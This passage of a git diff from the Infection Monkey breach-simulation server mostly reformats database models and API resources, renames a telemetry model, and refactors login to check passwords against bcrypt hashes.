-from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402
-from monkey_island.cc.setup import setup # noqa: E402
-
-MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0"
-
-
-def main(should_setup_only=False):
- logger.info("Starting bootloader server")
- mongo_url = os.environ.get('MONGO_URL', env_singleton.env.get_mongo_url())
- bootloader_server_thread = Thread(target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True)
-
- bootloader_server_thread.start()
- start_island_server(should_setup_only)
- bootloader_server_thread.join()
-
-
-def start_island_server(should_setup_only):
-
- mongo_url = os.environ.get('MONGO_URL', env_singleton.env.get_mongo_url())
- wait_for_mongo_db_server(mongo_url)
- assert_mongo_db_version(mongo_url)
-
- populate_exporter_list()
- app = init_app(mongo_url)
-
- crt_path = str(Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.crt'))
- key_path = str(Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.key'))
-
- setup()
-
- if should_setup_only:
- logger.warning("Setup only flag passed. Exiting.")
- return
-
- if env_singleton.env.is_debug():
- app.run(host='0.0.0.0', debug=True, ssl_context=(crt_path, key_path))
- else:
- http_server = WSGIServer(('0.0.0.0', env_singleton.env.get_island_port()), app,
- certfile=os.environ.get('SERVER_CRT', crt_path),
- keyfile=os.environ.get('SERVER_KEY', key_path))
- log_init_info()
- http_server.serve_forever()
-
-
-def log_init_info():
- logger.info('Monkey Island Server is running!')
- logger.info(f"version: {get_version()}")
- logger.info('Listening on the following URLs: {}'.format(
- ", ".join(["https://{}:{}".format(x, env_singleton.env.get_island_port()) for x in local_ip_addresses()])
- )
- )
- MonkeyDownload.log_executable_hashes()
-
-
-def wait_for_mongo_db_server(mongo_url):
- while not is_db_server_up(mongo_url):
- logger.info('Waiting for MongoDB server on {0}'.format(mongo_url))
- time.sleep(1)
-
-
-def assert_mongo_db_version(mongo_url):
- """
- Checks if the mongodb version is new enough for running the app.
- If the DB is too old, quits.
- :param mongo_url: URL to the mongo the Island will use
- """
- required_version = tuple(MINIMUM_MONGO_DB_VERSION_REQUIRED.split("."))
- server_version = get_db_version(mongo_url)
- if server_version < required_version:
- logger.error(
- 'Mongo DB version too old. {0} is required, but got {1}'.format(str(required_version), str(server_version)))
- sys.exit(-1)
- else:
- logger.info('Mongo DB version OK. Got {0}'.format(str(server_version)))
-
-
-if __name__ == '__main__':
- main()
diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py
index 87626c448..50dec3f95 100644
--- a/monkey/monkey_island/cc/models/__init__.py
+++ b/monkey/monkey_island/cc/models/__init__.py
@@ -1,15 +1,9 @@
-from mongoengine import connect
+from .command_control_channel import CommandControlChannel # noqa: F401, E402
-import monkey_island.cc.environment.environment_singleton as env_singleton
-
-from .command_control_channel import CommandControlChannel # noqa: F401
-# Order of importing matters here, for registering the embedded and referenced documents before using them.
-from .config import Config # noqa: F401
-from .creds import Creds # noqa: F401
-from .monkey import Monkey # noqa: F401
-from .monkey_ttl import MonkeyTtl # noqa: F401
-from .pba_results import PbaResults # noqa: F401
-
-connect(db=env_singleton.env.mongo_db_name,
- host=env_singleton.env.mongo_db_host,
- port=env_singleton.env.mongo_db_port)
+# Order of importing matters here, for registering the embedded and referenced documents before
+# using them.
+from .config import Config # noqa: F401, E402
+from .creds import Creds # noqa: F401, E402
+from .monkey import Monkey # noqa: F401, E402
+from .monkey_ttl import MonkeyTtl # noqa: F401, E402
+from .pba_results import PbaResults # noqa: F401, E402
diff --git a/monkey/monkey_island/cc/models/attack/attack_mitigations.py b/monkey/monkey_island/cc/models/attack/attack_mitigations.py
index 0c38ecbeb..9d09aae5a 100644
--- a/monkey/monkey_island/cc/models/attack/attack_mitigations.py
+++ b/monkey/monkey_island/cc/models/attack/attack_mitigations.py
@@ -4,15 +4,14 @@ from mongoengine import Document, DoesNotExist, EmbeddedDocumentField, ListField
from stix2 import AttackPattern, CourseOfAction
from monkey_island.cc.models.attack.mitigation import Mitigation
-from monkey_island.cc.services.attack.test_mitre_api_interface import MitreApiInterface
+from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface
class AttackMitigations(Document):
-
COLLECTION_NAME = "attack_mitigations"
technique_id = StringField(required=True, primary_key=True)
- mitigations = ListField(EmbeddedDocumentField('Mitigation'))
+ mitigations = ListField(EmbeddedDocumentField("Mitigation"))
@staticmethod
def get_mitigation_by_technique_id(technique_id: str) -> Document:
@@ -23,23 +22,29 @@ class AttackMitigations(Document):
def add_mitigation(self, mitigation: CourseOfAction):
mitigation_external_ref_id = MitreApiInterface.get_stix2_external_reference_id(mitigation)
- if mitigation_external_ref_id.startswith('M'):
+ if mitigation_external_ref_id.startswith("M"):
self.mitigations.append(Mitigation.get_from_stix2_data(mitigation))
def add_no_mitigations_info(self, mitigation: CourseOfAction):
mitigation_external_ref_id = MitreApiInterface.get_stix2_external_reference_id(mitigation)
- if mitigation_external_ref_id.startswith('T') and len(self.mitigations) == 0:
+ if mitigation_external_ref_id.startswith("T") and len(self.mitigations) == 0:
mitigation_mongo_object = Mitigation.get_from_stix2_data(mitigation)
- mitigation_mongo_object['description'] = mitigation_mongo_object['description'].splitlines()[0]
- mitigation_mongo_object['url'] = ''
+ mitigation_mongo_object["description"] = mitigation_mongo_object[
+ "description"
+ ].splitlines()[0]
+ mitigation_mongo_object["url"] = ""
self.mitigations.append(mitigation_mongo_object)
@staticmethod
def mitigations_from_attack_pattern(attack_pattern: AttackPattern):
- return AttackMitigations(technique_id=MitreApiInterface.get_stix2_external_reference_id(attack_pattern),
- mitigations=[])
+ return AttackMitigations(
+ technique_id=MitreApiInterface.get_stix2_external_reference_id(attack_pattern),
+ mitigations=[],
+ )
@staticmethod
def dict_from_stix2_attack_patterns(stix2_dict: Dict[str, AttackPattern]):
- return {key: AttackMitigations.mitigations_from_attack_pattern(attack_pattern)
- for key, attack_pattern in stix2_dict.items()}
+ return {
+ key: AttackMitigations.mitigations_from_attack_pattern(attack_pattern)
+ for key, attack_pattern in stix2_dict.items()
+ }
diff --git a/monkey/monkey_island/cc/models/attack/mitigation.py b/monkey/monkey_island/cc/models/attack/mitigation.py
index 03c8bafef..8a0a1f019 100644
--- a/monkey/monkey_island/cc/models/attack/mitigation.py
+++ b/monkey/monkey_island/cc/models/attack/mitigation.py
@@ -1,18 +1,17 @@
from mongoengine import EmbeddedDocument, StringField
from stix2 import CourseOfAction
-from monkey_island.cc.services.attack.test_mitre_api_interface import MitreApiInterface
+from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface
class Mitigation(EmbeddedDocument):
-
name = StringField(required=True)
description = StringField(required=True)
url = StringField()
@staticmethod
def get_from_stix2_data(mitigation: CourseOfAction):
- name = mitigation['name']
- description = mitigation['description']
+ name = mitigation["name"]
+ description = mitigation["description"]
url = MitreApiInterface.get_stix2_external_reference_url(mitigation)
return Mitigation(name=name, description=description, url=url)
diff --git a/monkey/monkey_island/cc/models/command_control_channel.py b/monkey/monkey_island/cc/models/command_control_channel.py
index 3aefef455..a055c4a66 100644
--- a/monkey/monkey_island/cc/models/command_control_channel.py
+++ b/monkey/monkey_island/cc/models/command_control_channel.py
@@ -7,5 +7,6 @@ class CommandControlChannel(EmbeddedDocument):
src - Monkey Island's IP
dst - Monkey's IP (in case of a proxy chain this is the IP of the last monkey)
"""
+
src = StringField()
dst = StringField()
diff --git a/monkey/monkey_island/cc/models/config.py b/monkey/monkey_island/cc/models/config.py
index cfe128111..f4af7b400 100644
--- a/monkey/monkey_island/cc/models/config.py
+++ b/monkey/monkey_island/cc/models/config.py
@@ -7,5 +7,6 @@ class Config(EmbeddedDocument):
monkey_island.cc.services.config_schema.
See https://mongoengine-odm.readthedocs.io/apireference.html#mongoengine.FieldDoesNotExist
"""
- meta = {'strict': False}
+
+ meta = {"strict": False}
pass
diff --git a/monkey/monkey_island/cc/models/creds.py b/monkey/monkey_island/cc/models/creds.py
index 61322362e..d0861846d 100644
--- a/monkey/monkey_island/cc/models/creds.py
+++ b/monkey/monkey_island/cc/models/creds.py
@@ -5,5 +5,6 @@ class Creds(EmbeddedDocument):
"""
TODO get an example of this data, and make it strict
"""
- meta = {'strict': False}
+
+ meta = {"strict": False}
pass
diff --git a/monkey/monkey_island/cc/models/edge.py b/monkey/monkey_island/cc/models/edge.py
index 78fb91d6e..88858cfcb 100644
--- a/monkey/monkey_island/cc/models/edge.py
+++ b/monkey/monkey_island/cc/models/edge.py
@@ -2,8 +2,7 @@ from mongoengine import BooleanField, Document, DynamicField, ListField, ObjectI
class Edge(Document):
-
- meta = {'allow_inheritance': True}
+ meta = {"allow_inheritance": True}
# SCHEMA
src_node_id = ObjectIdField(required=True)
diff --git a/monkey/monkey_island/cc/models/test_telem.py b/monkey/monkey_island/cc/models/exported_telem.py
similarity index 50%
rename from monkey/monkey_island/cc/models/test_telem.py
rename to monkey/monkey_island/cc/models/exported_telem.py
index 8dd1cb658..6df2296fb 100644
--- a/monkey/monkey_island/cc/models/test_telem.py
+++ b/monkey/monkey_island/cc/models/exported_telem.py
@@ -1,10 +1,13 @@
"""
-Define a Document Schema for the TestTelem document.
+Define a Document Schema for the TelemForExport document.
"""
from mongoengine import DateTimeField, Document, StringField
-class TestTelem(Document):
+# This document describes exported telemetry.
+# These telemetries are used to mock monkeys sending telemetries to the island.
+# This way we can replicate island state without running monkeys.
+class ExportedTelem(Document):
# SCHEMA
name = StringField(required=True)
time = DateTimeField(required=True)
diff --git a/monkey/monkey_island/cc/models/island_mode_model.py b/monkey/monkey_island/cc/models/island_mode_model.py
new file mode 100644
index 000000000..dec93e501
--- /dev/null
+++ b/monkey/monkey_island/cc/models/island_mode_model.py
@@ -0,0 +1,5 @@
+from mongoengine import Document, StringField
+
+
+class IslandMode(Document):
+ mode = StringField()
diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py
index b0009a335..70ca9fbf9 100644
--- a/monkey/monkey_island/cc/models/monkey.py
+++ b/monkey/monkey_island/cc/models/monkey.py
@@ -2,37 +2,49 @@
Define a Document Schema for the Monkey document.
"""
import ring
-from mongoengine import (BooleanField, DateTimeField, Document, DoesNotExist, DynamicField, EmbeddedDocumentField,
- ListField, ReferenceField, StringField)
+from mongoengine import (
+ BooleanField,
+ DateTimeField,
+ Document,
+ DoesNotExist,
+ DynamicField,
+ EmbeddedDocumentField,
+ ListField,
+ ReferenceField,
+ StringField,
+)
from common.cloud import environment_names
-from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS
from monkey_island.cc.models.command_control_channel import CommandControlChannel
from monkey_island.cc.models.monkey_ttl import MonkeyTtl, create_monkey_ttl_document
+from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS
from monkey_island.cc.services.utils.network_utils import local_ip_addresses
-MAX_MONKEYS_AMOUNT_TO_CACHE = 100
-
class Monkey(Document):
"""
This class has 2 main section:
- * The schema section defines the DB fields in the document. This is the data of the object.
- * The logic section defines complex questions we can ask about a single document which are asked multiple
+ * The schema section defines the DB fields in the document. This is the data of the
+ object.
+ * The logic section defines complex questions we can ask about a single document which
+ are asked multiple
times, somewhat like an API.
"""
+
# SCHEMA
guid = StringField(required=True)
- config = EmbeddedDocumentField('Config')
- creds = ListField(EmbeddedDocumentField('Creds'))
+ config = EmbeddedDocumentField("Config")
+ creds = ListField(EmbeddedDocumentField("Creds"))
dead = BooleanField()
description = StringField()
hostname = StringField()
internet_access = BooleanField()
ip_addresses = ListField(StringField())
+ launch_time = StringField()
keepalive = DateTimeField()
modifytime = DateTimeField()
- # TODO make "parent" an embedded document, so this can be removed and the schema explained (and validated) verbosely.
+ # TODO make "parent" an embedded document, so this can be removed and the schema explained (
+ # and validated) verbosely.
# This is a temporary fix, since mongoengine doesn't allow for lists of strings to be null
# (even with required=False of null=True).
# See relevant issue: https://github.com/MongoEngine/mongoengine/issues/1904
@@ -45,9 +57,13 @@ class Monkey(Document):
command_control_channel = EmbeddedDocumentField(CommandControlChannel)
# Environment related fields
- environment = StringField(default=environment_names.Environment.UNKNOWN.value,
- choices=environment_names.ALL_ENVIRONMENTS_NAMES)
- aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
+ environment = StringField(
+ default=environment_names.Environment.UNKNOWN.value,
+ choices=environment_names.ALL_ENVIRONMENTS_NAMES,
+ )
+ aws_instance_id = StringField(
+ required=False
+ ) # This field only exists when the monkey is running on an AWS
# instance. See https://github.com/guardicore/monkey/issues/426.
@@ -61,7 +77,7 @@ class Monkey(Document):
@staticmethod
# See https://www.python.org/dev/peps/pep-0484/#forward-references
- def get_single_monkey_by_guid(monkey_guid) -> 'Monkey':
+ def get_single_monkey_by_guid(monkey_guid) -> "Monkey":
try:
return Monkey.objects.get(guid=monkey_guid)
except DoesNotExist as ex:
@@ -70,7 +86,7 @@ class Monkey(Document):
@staticmethod
def get_latest_modifytime():
if Monkey.objects.count() > 0:
- return Monkey.objects.order_by('-modifytime').first().modifytime
+ return Monkey.objects.order_by("-modifytime").first().modifytime
return None
def is_dead(self):
@@ -129,10 +145,11 @@ class Monkey(Document):
Formats network info from monkey's model
:return: dictionary with an array of IP's and a hostname
"""
- return {'ips': self.ip_addresses, 'hostname': self.hostname}
+ return {"ips": self.ip_addresses, "hostname": self.hostname}
@ring.lru(
- expire=1 # data has TTL of 1 second. This is useful for rapid calls for report generation.
+ # data has TTL of 1 second. This is useful for rapid calls for report generation.
+ expire=1
)
@staticmethod
def is_monkey(object_id):
diff --git a/monkey/monkey_island/cc/models/monkey_ttl.py b/monkey/monkey_island/cc/models/monkey_ttl.py
index 3e456f244..74d38c639 100644
--- a/monkey/monkey_island/cc/models/monkey_ttl.py
+++ b/monkey/monkey_island/cc/models/monkey_ttl.py
@@ -7,10 +7,12 @@ class MonkeyTtl(Document):
"""
This model represents the monkey's TTL, and is referenced by the main Monkey document.
See https://docs.mongodb.com/manual/tutorial/expire-data/ and
- https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents/56021663#56021663
+ https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired
+ -documents/56021663#56021663
for more information about how TTL indexing works and why this class is set up the way it is.
- If you wish to use this class, you can create it using the create_ttl_expire_in(seconds) function.
+ If you wish to use this class, you can create it using the create_ttl_expire_in(seconds)
+ function.
If you wish to create an instance of this class directly, see the inner implementation of
create_ttl_expire_in(seconds) to see how to do so.
"""
@@ -20,22 +22,16 @@ class MonkeyTtl(Document):
"""
Initializes a TTL object which will expire in expire_in_seconds seconds from when created.
Remember to call .save() on the object after creation.
- :param expiry_in_seconds: How long should the TTL be in the DB, in seconds. Please take into consideration
+ :param expiry_in_seconds: How long should the TTL be in the DB, in seconds. Please take
+ into consideration
that the cleanup thread of mongo might take extra time to delete the TTL from the DB.
"""
# Using UTC to make the mongodb TTL feature work. See
- # https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents.
+ # https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired
+ # -documents.
return MonkeyTtl(expire_at=datetime.utcnow() + timedelta(seconds=expiry_in_seconds))
- meta = {
- 'indexes': [
- {
- 'name': 'TTL_index',
- 'fields': ['expire_at'],
- 'expireAfterSeconds': 0
- }
- ]
- }
+ meta = {"indexes": [{"name": "TTL_index", "fields": ["expire_at"], "expireAfterSeconds": 0}]}
expire_at = DateTimeField()
@@ -43,7 +39,8 @@ class MonkeyTtl(Document):
def create_monkey_ttl_document(expiry_duration_in_seconds):
"""
Create a new Monkey TTL document and save it as a document.
- :param expiry_duration_in_seconds: How long should the TTL last for. THIS IS A LOWER BOUND - depends on mongodb
+ :param expiry_duration_in_seconds: How long should the TTL last for. THIS IS A LOWER BOUND -
+ depends on mongodb
performance.
:return: The TTL document. To get its ID use `.id`.
"""
diff --git a/monkey/monkey_island/cc/models/zero_trust/event.py b/monkey/monkey_island/cc/models/zero_trust/event.py
index d1a0001af..3ffdb02b9 100644
--- a/monkey/monkey_island/cc/models/zero_trust/event.py
+++ b/monkey/monkey_island/cc/models/zero_trust/event.py
@@ -7,14 +7,18 @@ import common.common_consts.zero_trust_consts as zero_trust_consts
class Event(EmbeddedDocument):
"""
- This model represents a single event within a Finding (it is an EmbeddedDocument within Finding). It is meant to
+ This model represents a single event within a Finding (it is an EmbeddedDocument within
+ Finding). It is meant to
hold a detail of the Finding.
This class has 2 main section:
- * The schema section defines the DB fields in the document. This is the data of the object.
- * The logic section defines complex questions we can ask about a single document which are asked multiple
+ * The schema section defines the DB fields in the document. This is the data of the
+ object.
+ * The logic section defines complex questions we can ask about a single document which
+ are asked multiple
times, or complex action we will perform - somewhat like an API.
"""
+
# SCHEMA
timestamp = DateTimeField(required=True)
title = StringField(required=True)
@@ -26,12 +30,7 @@ class Event(EmbeddedDocument):
def create_event(title, message, event_type, timestamp=None):
if not timestamp:
timestamp = datetime.now()
- event = Event(
- timestamp=timestamp,
- title=title,
- message=message,
- event_type=event_type
- )
+ event = Event(timestamp=timestamp, title=title, message=message, event_type=event_type)
event.validate(clean=True)
diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py
index f65d39af7..b1508430f 100644
--- a/monkey/monkey_island/cc/models/zero_trust/finding.py
+++ b/monkey/monkey_island/cc/models/zero_trust/finding.py
@@ -12,24 +12,29 @@ import common.common_consts.zero_trust_consts as zero_trust_consts
class Finding(Document):
"""
- This model represents a Zero-Trust finding: A result of a test the monkey/island might perform to see if a
+ This model represents a Zero-Trust finding: A result of a test the monkey/island might
+ perform to see if a
specific principle of zero trust is upheld or broken.
Findings might have the following statuses:
Failed ❌
Meaning that we are sure that something is wrong (example: segmentation issue).
Verify ⁉
- Meaning that we need the user to check something himself (example: 2FA logs, AV missing).
+ Meaning that we need the user to check something himself (example: 2FA logs,
+ AV missing).
Passed ✔
Meaning that we are sure that something is correct (example: Monkey failed exploiting).
This class has 2 main section:
- * The schema section defines the DB fields in the document. This is the data of the object.
- * The logic section defines complex questions we can ask about a single document which are asked multiple
+ * The schema section defines the DB fields in the document. This is the data of the
+ object.
+ * The logic section defines complex questions we can ask about a single document which
+ are asked multiple
times, or complex action we will perform - somewhat like an API.
"""
+
# http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance
- meta = {'allow_inheritance': True}
+ meta = {"allow_inheritance": True}
# SCHEMA
test = StringField(required=True, choices=zero_trust_consts.TESTS)
diff --git a/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py b/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py
index 479b9b244..9fd1805f4 100644
--- a/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py
+++ b/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py
@@ -12,9 +12,7 @@ class MonkeyFinding(Finding):
details = LazyReferenceField(MonkeyFindingDetails, required=True)
@staticmethod
- def save_finding(test: str,
- status: str,
- detail_ref: MonkeyFindingDetails) -> MonkeyFinding:
+ def save_finding(test: str, status: str, detail_ref: MonkeyFindingDetails) -> MonkeyFinding:
finding = MonkeyFinding(test=test, status=status, details=detail_ref)
finding.save()
return finding
diff --git a/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py
index 62cfda504..3568e0ee1 100644
--- a/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py
+++ b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py
@@ -8,7 +8,6 @@ from monkey_island.cc.models.zero_trust.event import Event
class MonkeyFindingDetails(Document):
-
# SCHEMA
events = EmbeddedDocumentListField(document_type=Event, required=False)
diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py
index 9e36e46c5..174a68db7 100644
--- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py
+++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py
@@ -12,9 +12,9 @@ class ScoutSuiteFinding(Finding):
details = LazyReferenceField(ScoutSuiteFindingDetails, required=True)
@staticmethod
- def save_finding(test: str,
- status: str,
- detail_ref: ScoutSuiteFindingDetails) -> ScoutSuiteFinding:
+ def save_finding(
+ test: str, status: str, detail_ref: ScoutSuiteFindingDetails
+ ) -> ScoutSuiteFinding:
finding = ScoutSuiteFinding(test=test, status=status, details=detail_ref)
finding.save()
return finding
diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py
index cbc8c5f29..9f2b24d9d 100644
--- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py
+++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py
@@ -4,7 +4,6 @@ from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule
class ScoutSuiteFindingDetails(Document):
-
# SCHEMA
scoutsuite_rules = EmbeddedDocumentListField(document_type=ScoutSuiteRule, required=False)
diff --git a/monkey/monkey_island/cc/resources/T1216_pba_file_download.py b/monkey/monkey_island/cc/resources/T1216_pba_file_download.py
index ac52b77f8..906d4c97f 100644
--- a/monkey/monkey_island/cc/resources/T1216_pba_file_download.py
+++ b/monkey/monkey_island/cc/resources/T1216_pba_file_download.py
@@ -8,10 +8,13 @@ from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
class T1216PBAFileDownload(flask_restful.Resource):
"""
- File download endpoint used by monkey to download executable file for T1216 ("Signed Script Proxy Execution" PBA)
+ File download endpoint used by monkey to download executable file for T1216 ("Signed Script
+ Proxy Execution" PBA)
"""
def get(self):
- executable_file_name = 'T1216_random_executable.exe'
- return send_from_directory(directory=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'resources', 'pba'),
- filename=executable_file_name)
+ executable_file_name = "T1216_random_executable.exe"
+ return send_from_directory(
+ directory=os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "resources", "pba"),
+ path=executable_file_name,
+ )
diff --git a/monkey/monkey_island/cc/resources/__init__.py b/monkey/monkey_island/cc/resources/__init__.py
index e593a854b..e69de29bb 100644
--- a/monkey/monkey_island/cc/resources/__init__.py
+++ b/monkey/monkey_island/cc/resources/__init__.py
@@ -1 +0,0 @@
-__author__ = 'Barak'
diff --git a/monkey/monkey_island/cc/resources/attack/__init__.py b/monkey/monkey_island/cc/resources/attack/__init__.py
index 98867ed4d..e69de29bb 100644
--- a/monkey/monkey_island/cc/resources/attack/__init__.py
+++ b/monkey/monkey_island/cc/resources/attack/__init__.py
@@ -1 +0,0 @@
-__author__ = 'VakarisZ'
diff --git a/monkey/monkey_island/cc/resources/attack/attack_config.py b/monkey/monkey_island/cc/resources/attack/attack_config.py
index 532b1fb4f..f9cd4c557 100644
--- a/monkey/monkey_island/cc/resources/attack/attack_config.py
+++ b/monkey/monkey_island/cc/resources/attack/attack_config.py
@@ -4,17 +4,20 @@ from flask import current_app, json, jsonify, request
from monkey_island.cc.resources.auth.auth import jwt_required
from monkey_island.cc.services.attack.attack_config import AttackConfig
-__author__ = "VakarisZ"
-
class AttackConfiguration(flask_restful.Resource):
@jwt_required
def get(self):
- return current_app.response_class(json.dumps({"configuration": AttackConfig.get_config()},
- indent=None,
- separators=(",", ":"),
- sort_keys=False) + "\n",
- mimetype=current_app.config['JSONIFY_MIMETYPE'])
+ return current_app.response_class(
+ json.dumps(
+ {"configuration": AttackConfig.get_config()},
+ indent=None,
+ separators=(",", ":"),
+ sort_keys=False,
+ )
+ + "\n",
+ mimetype=current_app.config["JSONIFY_MIMETYPE"],
+ )
@jwt_required
def post(self):
@@ -23,10 +26,10 @@ class AttackConfiguration(flask_restful.Resource):
:return: Technique types dict with techniques on reset and nothing on update
"""
config_json = json.loads(request.data)
- if 'reset_attack_matrix' in config_json:
+ if "reset_attack_matrix" in config_json:
AttackConfig.reset_config()
return jsonify(configuration=AttackConfig.get_config())
else:
- AttackConfig.update_config({'properties': json.loads(request.data)})
+ AttackConfig.update_config({"properties": json.loads(request.data)})
AttackConfig.apply_to_monkey_config()
return {}
diff --git a/monkey/monkey_island/cc/resources/attack/attack_report.py b/monkey/monkey_island/cc/resources/attack/attack_report.py
index 779c436c5..502538990 100644
--- a/monkey/monkey_island/cc/resources/attack/attack_report.py
+++ b/monkey/monkey_island/cc/resources/attack/attack_report.py
@@ -5,16 +5,16 @@ from monkey_island.cc.resources.auth.auth import jwt_required
from monkey_island.cc.services.attack.attack_report import AttackReportService
from monkey_island.cc.services.attack.attack_schema import SCHEMA
-__author__ = "VakarisZ"
-
class AttackReport(flask_restful.Resource):
-
@jwt_required
def get(self):
- response_content = {'techniques': AttackReportService.get_latest_report()['techniques'], 'schema': SCHEMA}
- return current_app.response_class(json.dumps(response_content,
- indent=None,
- separators=(",", ":"),
- sort_keys=False) + "\n",
- mimetype=current_app.config['JSONIFY_MIMETYPE'])
+ response_content = {
+ "techniques": AttackReportService.get_latest_report()["techniques"],
+ "schema": SCHEMA,
+ }
+ return current_app.response_class(
+ json.dumps(response_content, indent=None, separators=(",", ":"), sort_keys=False)
+ + "\n",
+ mimetype=current_app.config["JSONIFY_MIMETYPE"],
+ )
diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py
index b188955d8..064395eaf 100644
--- a/monkey/monkey_island/cc/resources/auth/auth.py
+++ b/monkey/monkey_island/cc/resources/auth/auth.py
@@ -7,9 +7,9 @@ import flask_restful
from flask import make_response, request
from flask_jwt_extended.exceptions import JWTExtendedException
from jwt import PyJWTError
-from werkzeug.security import safe_str_cmp
import monkey_island.cc.environment.environment_singleton as env_singleton
+import monkey_island.cc.resources.auth.password_utils as password_utils
import monkey_island.cc.resources.auth.user_store as user_store
logger = logging.getLogger(__name__)
@@ -18,42 +18,62 @@ logger = logging.getLogger(__name__)
def init_jwt(app):
user_store.UserStore.set_users(env_singleton.env.get_auth_users())
_ = flask_jwt_extended.JWTManager(app)
- logger.debug("Initialized JWT with secret key that started with " + app.config["JWT_SECRET_KEY"][:4])
+ logger.debug(
+ "Initialized JWT with secret key that started with " + app.config["JWT_SECRET_KEY"][:4]
+ )
class Authenticate(flask_restful.Resource):
"""
- Resource for user authentication. The user provides the username and hashed password and we give them a JWT.
+ Resource for user authentication. The user provides the username and password and we
+ give them a JWT.
See `AuthService.js` file for the frontend counterpart for this code.
"""
- @staticmethod
- def _authenticate(username, secret):
- user = user_store.UserStore.username_table.get(username, None)
- if user and safe_str_cmp(user.secret.encode('utf-8'), secret.encode('utf-8')):
- return user
def post(self):
"""
Example request:
{
"username": "my_user",
- "password": "343bb87e553b05430e5c44baf99569d4b66..."
+ "password": "my_password"
}
"""
- credentials = json.loads(request.data)
- # Unpack auth info from request
- username = credentials["username"]
- secret = credentials["password"]
- # If the user and password have been previously registered
- if self._authenticate(username, secret):
- access_token = flask_jwt_extended.create_access_token(
- identity=user_store.UserStore.username_table[username].id)
- logger.debug(f"Created access token for user {username} that begins with {access_token[:4]}")
+ (username, password) = _get_credentials_from_request(request)
+
+ if _credentials_match_registered_user(username, password):
+ access_token = _create_access_token(username)
return make_response({"access_token": access_token, "error": ""}, 200)
else:
return make_response({"error": "Invalid credentials"}, 401)
+def _get_credentials_from_request(request):
+ credentials = json.loads(request.data)
+
+ username = credentials["username"]
+ password = credentials["password"]
+
+ return (username, password)
+
+
+def _credentials_match_registered_user(username, password):
+ user = user_store.UserStore.username_table.get(username, None)
+
+ if user and password_utils.password_matches_hash(password, user.secret):
+ return True
+
+ return False
+
+
+def _create_access_token(username):
+ access_token = flask_jwt_extended.create_access_token(
+ identity=user_store.UserStore.username_table[username].id
+ )
+ logger.debug(f"Created access token for user {username} that begins with {access_token[:4]}")
+
+ return access_token
+
+
# See https://flask-jwt-extended.readthedocs.io/en/stable/custom_decorators/
def jwt_required(fn):
@wraps(fn)
@@ -61,7 +81,8 @@ def jwt_required(fn):
try:
flask_jwt_extended.verify_jwt_in_request()
return fn(*args, **kwargs)
- # Catch authentication related errors in the verification or inside the called function. All other exceptions propagate
+ # Catch authentication related errors in the verification or inside the called function.
+ # All other exceptions propagate
except (JWTExtendedException, PyJWTError) as e:
return make_response({"error": f"Authentication error: {str(e)}"}, 401)
diff --git a/monkey/monkey_island/cc/resources/auth/auth_user.py b/monkey/monkey_island/cc/resources/auth/auth_user.py
index d75c751ea..547b6e5bc 100644
--- a/monkey/monkey_island/cc/resources/auth/auth_user.py
+++ b/monkey/monkey_island/cc/resources/auth/auth_user.py
@@ -1,6 +1,3 @@
-__author__ = 'itay.mizeretz'
-
-
class User(object):
def __init__(self, user_id, username, secret):
self.id = user_id
diff --git a/monkey/monkey_island/cc/resources/auth/password_utils.py b/monkey/monkey_island/cc/resources/auth/password_utils.py
new file mode 100644
index 000000000..f470fd882
--- /dev/null
+++ b/monkey/monkey_island/cc/resources/auth/password_utils.py
@@ -0,0 +1,12 @@
+import bcrypt
+
+
+def hash_password(plaintext_password):
+ salt = bcrypt.gensalt()
+ password_hash = bcrypt.hashpw(plaintext_password.encode("utf-8"), salt)
+
+ return password_hash.decode()
+
+
+def password_matches_hash(plaintext_password, password_hash):
+ return bcrypt.checkpw(plaintext_password.encode("utf-8"), password_hash.encode("utf-8"))
diff --git a/monkey/monkey_island/cc/resources/auth/registration.py b/monkey/monkey_island/cc/resources/auth/registration.py
index b27116aa9..121b03d71 100644
--- a/monkey/monkey_island/cc/resources/auth/registration.py
+++ b/monkey/monkey_island/cc/resources/auth/registration.py
@@ -1,19 +1,33 @@
